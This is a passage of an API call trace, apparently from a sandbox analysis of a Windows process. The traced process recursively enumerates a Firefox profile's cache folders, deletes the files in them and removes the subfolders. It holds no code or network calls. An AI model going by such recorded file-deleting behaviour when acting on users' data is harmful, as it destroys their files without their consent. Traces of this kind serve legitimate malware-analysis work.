pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D" [0117.593] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D") returned 81 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.593] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\*.*" [0117.593] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.593] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.593] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6314ded0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6314ded0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6314ded0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="07", cAlternateFileName="")) returned 1 [0117.593] lstrlenW (lpString="07") returned 2 [0117.593] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D", pszFile="07" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07" [0117.593] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07") returned 84 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.593] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.594] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\*.*" [0117.594] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6314ded0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6314ded0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6314ded0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.594] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6314ded0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6314ded0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6314ded0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.594] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6314ded0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6314ded0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x633af4d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x10c6c, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="1F307d01", cAlternateFileName="")) returned 1 [0117.594] lstrlenW (lpString="1F307d01") returned 8 [0117.594] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07", pszFile="1F307d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\1F307d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\1F307d01" [0117.594] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07\\1F307d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\07\\1f307d01")) returned 1 [0117.598] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6314ded0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6314ded0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x633af4d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x10c6c, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="1F307d01", cAlternateFileName="")) returned 0 [0117.598] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.598] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.598] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.598] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.598] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\07" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\07")) returned 1 [0117.598] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f4b5720, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="08", cAlternateFileName="")) returned 1 [0117.598] lstrlenW (lpString="08") returned 2 [0117.598] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D", pszFile="08" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08" [0117.598] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08") returned 84 [0117.598] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.599] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.599] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.599] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\*.*" [0117.599] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f4b5720, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.599] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9f4b5720, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.599] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f4b5720, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="71469d01", cAlternateFileName="")) returned 1 [0117.599] lstrlenW (lpString="71469d01") returned 8 [0117.599] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08", pszFile="71469d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\71469d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\71469d01" [0117.599] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08\\71469d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\08\\71469d01")) returned 1 [0117.599] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f4b5720, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f4b5720, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f4b5720, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="71469d01", cAlternateFileName="")) returned 0 [0117.599] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.599] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.599] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.599] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.600] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\08" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\08")) returned 1 [0117.600] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="15", cAlternateFileName="")) returned 1 [0117.600] lstrlenW (lpString="15") returned 2 [0117.600] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D", pszFile="15" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15" [0117.600] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15") returned 84 [0117.600] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.600] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.600] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.600] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\*.*" [0117.600] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.600] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.600] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x75c7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="BF22Ad01", cAlternateFileName="")) returned 1 [0117.600] lstrlenW (lpString="BF22Ad01") returned 8 [0117.600] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15", pszFile="BF22Ad01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\BF22Ad01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\BF22Ad01" [0117.600] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15\\BF22Ad01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\15\\bf22ad01")) returned 1 [0117.601] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63767730, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63767730, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63767730, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x75c7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="BF22Ad01", cAlternateFileName="")) returned 0 [0117.601] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.601] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.601] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.601] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.601] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\15" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\15")) returned 1 [0117.601] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="FE", cAlternateFileName="")) returned 1 [0117.601] lstrlenW (lpString="FE") returned 2 [0117.601] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D", pszFile="FE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE" [0117.601] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE") returned 84 [0117.601] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.601] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.601] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.601] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\*.*" [0117.601] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.601] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.602] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x6feb, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="A0C36d01", cAlternateFileName="")) returned 1 [0117.602] lstrlenW (lpString="A0C36d01") returned 8 [0117.602] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE", pszFile="A0C36d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\A0C36d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\A0C36d01" [0117.602] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE\\A0C36d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\fe\\a0c36d01")) returned 1 [0117.602] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x6feb, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="A0C36d01", cAlternateFileName="")) returned 0 [0117.602] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.602] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.602] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.602] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.602] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\D\\FE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\d\\fe")) returned 1 [0117.603] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="FE", cAlternateFileName="")) returned 0 